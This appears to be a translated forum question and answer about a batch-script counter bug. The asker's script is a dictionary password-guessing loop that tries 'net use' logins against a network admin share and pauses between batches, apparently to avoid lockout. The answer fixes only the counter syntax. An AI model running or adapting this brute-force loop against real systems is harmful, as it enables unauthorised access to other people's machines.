Update value within a for batch

2

I want to update a value of a variable in a program in batch , my problem is that when I do it inside the main function , the value is not updated, if I pass that value to < em> another function the value is updated but when I return it to the main one it remains with the declared value, in my case in 1 .

@echo off

SetLocal EnableDelayedExpansion
set /a contador=1
FOR /F %%h in (usuario.txt) do (
    FOR /F %%i in (diccionario.txt) do (

        echo Probando con usuario:%%h contrasenia:%%i
        net use \192.168.0.76\C$ %%i /user:%%h

        set /a contador
            Rem "!" debido a la expansión de variable.
            if !ERRORLEVEL! equ 0 (
            echo [+] Password correcto! %%i
            net use
            goto :salir
            ) else (
            echo [+] fallo
            )

            echo valor de contador antes del if: %contador%
            if %contador% equ 3 (
            **set contador=1--> no se resetea el valor **
            Timeout /T 1800
            ) else (
            **set contador+=1---> no actualiza**
                )
            echo valor de contador es: %contador%
        )
)
:salir EndLocal
    
asked by orlando 04.01.2017 в 17:42
source

1 answer

1

You forgot to add the parameter / a in% increment counter%

set /a contador+=1

This means that you are going to perform an arithmetic operation on the variable. I think it is important to add / a when you are going to perform the operation in the same assignment, when you are going to make an increase or decrease etc. Put / a in a variable declared with a fixed value for example

set contador=1

could be omitted as you see in the result of the code that I put below. Going to the section where you have the comments of the error would be like this. Try putting counter to 1 and 3 for example and you'll see that it works.

@echo off
setlocal EnableDelayedExpansion

set contador=1

echo valor de contador antes del if: %contador%

if %contador% EQU 3 (
    set contador=1
    Timeout /T 4
) else (
    set /a contador+=1
)
@echo valor de contador es: %contador%
endlocal
pause > nul

I set the timeout to 3 seconds so you do not have to wait long to see the result.

The rest of the code I can not prove because I do not have the text files you use.

    
answered by 24.03.2017 в 22:34